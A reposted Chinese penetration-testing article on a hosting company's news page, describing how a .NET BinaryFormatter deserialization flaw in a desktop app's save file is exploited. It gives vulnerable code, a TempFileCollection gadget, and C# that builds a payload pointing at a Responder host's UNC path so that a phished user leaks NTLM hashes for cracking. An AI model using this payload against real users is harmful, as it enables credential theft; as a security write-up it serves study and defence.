景安微信
关注微信
随时查询备案
景安网络 欢迎来到景安网络虚拟主机资讯站!
免费主机国内主机
国内主机
0元购买
原价99元/年 我想领取
QQ群
快云体验交流群

群名称:快云体验群

群   号:288544772

一键加群 快云体验交流群
公众号
快云官方微信

扫码关注公众号您可以:

1、微信一键登录会员;

2、微信提交故障工单;

3、微信查询网站备案。

回顶部
1元vps

首页 > 域名资讯 > 利用.NET反序列化漏洞获取NTLM Hashes

利用.NET反序列化漏洞获取NTLM Hashes

来源:景安网络

作者:ppwa

更新时间:2018-05-09 14:29

景安网络—专业的数据中心服务商!提供快云服务器,快云VPS,虚拟主机,域名注册,服务器托管,服务器租用,SSL证书,数据库存储。 新用户可享,vps主机低至1元/月! 立即注册

当用户加载恶意文件时会触发此特定漏洞,因此需要用户交互,但在网络中可访问的应用程序中可能存在类似的漏洞。 这完全取决于数据的反序列化位置。

反序列化基础

反序列化是任何执行大量应用程序或Web应用程序安全测试的人都应该熟悉的东西。通常在Java环境中讨论,反序列化漏洞是许多应用程序(包括.NET应用程序)中都有可能会出现的漏洞。

对于那些不太熟悉的人来说,序列化就是将一个对象转换成一个字节流的过程,这样就可以轻松保存在磁盘文件或数据库中。反序列化是序列化的逆过程;通常这可以用于两个应用程序(可能位于不同主机上)间通信的RPC。当应用程序的状态需要保存时(这也很常见),序列化的数据会被写入磁盘并在之后进行恢复。

我们可以通过下面的例子看到这一点。

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    [Serializable]
    class MyClass
    {
        private int x = 1;
        private int y = 2;
        public string s = "Hello World";
        public MyClass() { Console.WriteLine("In Constructor"); }
        public void Method() { Console.WriteLine("Method()"); }
        public void Dispose()
        {
            Console.WriteLine("Disposing Object");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MyClass myClass = new MyClass();
            using (FileStream fileStream = File.OpenWrite("save"))
            {
                binaryFormatter.Serialize(fileStream, myClass);
            }
        }
    }
}

这将创建一个文件并保存,我们可以在文本编辑器中查看。

利用.NET反序列化漏洞获取NTLM Hashes

当应用程序对不可信数据进行反序列化时,有时可能会被攻击者所利用。如果我们看一下上面的反序列化的对象,很明显,虽然我们不能直接向应用程序注入代码,但是如果反序列化的对象在它的构造函数中或在它的dispose方法中,我们或许能够对其进行利用(即恶意的)- 当.NET对象被销毁时,垃圾回收器调用的方法。这是因为当进行反序列化尝试时,实际上该对象确实被创建并销毁,即使该对象由于类型错误而无法使用。

漏洞

在测试中,我们发现桌面安装了.NET应用程序。尽管我们并不了解应用程序的性质,但我们可以肯定的是它具有“保存”功能。为了保存,应用程序用一个特定的对象并将其序列化到磁盘。之后它可以通过相反的方式加载这个保存的对象并反序列化它。

漏洞代码类似于下面:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    class Program
    {
        static void Main(string[] args)
        {
            string saveFile = "save";
            MyClass myClass = null;
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            FileStream fileStream = File.OpenRead(saveFile);
            try {
                Object o = binaryFormatter.Deserialize(fileStream);
                myClass = (MyClass)o;
                myClass.Method();
            }
            catch (Exception) { }
        }
    }
}

如前所述,在这种特殊情况下,我们需要找到一个对象,它在创建或销毁时会发挥一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一个对象,用于删除使用AddFile方法添加的文件。这已通过在特定位置(d:\file1)中创建文件,并将序列化的TempFileCollection用作应用程序“保存”文件得到证实。反序列化的对象是使用以下代码片段创建的:

static void Main(string[] args)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("d:\\test",false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

当我们加载保存文件时,应用程序反序列化确实删除了测试文件。这是一个很好的PoC,那么我们能再进一步吗?

获取凭据

此时,我们有一个应用程序存在一个反序列化漏洞,当打开一个保存文件时会触发一个反序列化漏洞,并且一个可以反序列化的对象会删除我们可以指定的文件。

如果从UNC路径 (i.e. \\host\file)中读取文件,Windows将尝试使用服务器进行身份验证。如果我们将已删除的文件更改为运行Responder的服务器上的UNC路径,我们将能够捕获NTLM握手并尝试破解密码。

下面的.net代码生成我们的payload:

static public void MakeObject()
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("\\\\<responderIP>\\test", false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

然后,我们运行Responder,将文件发送给用户(通过网络钓鱼攻击)并等待。不一会儿我们就获取到了哈希,我们可以用于破解。

利用.NET反序列化漏洞获取NTLM Hashes

基于我们强大的字典,以及目标用户脆弱的密码策略,没花多久时间我们便成功破解出了密码。

本文链接:http://host.zzidc.com/ymzx/1516.html

关键字:NTLM Hashes

若无特别注明,文章皆为景安网络原创,转载请注明出处。

10元主机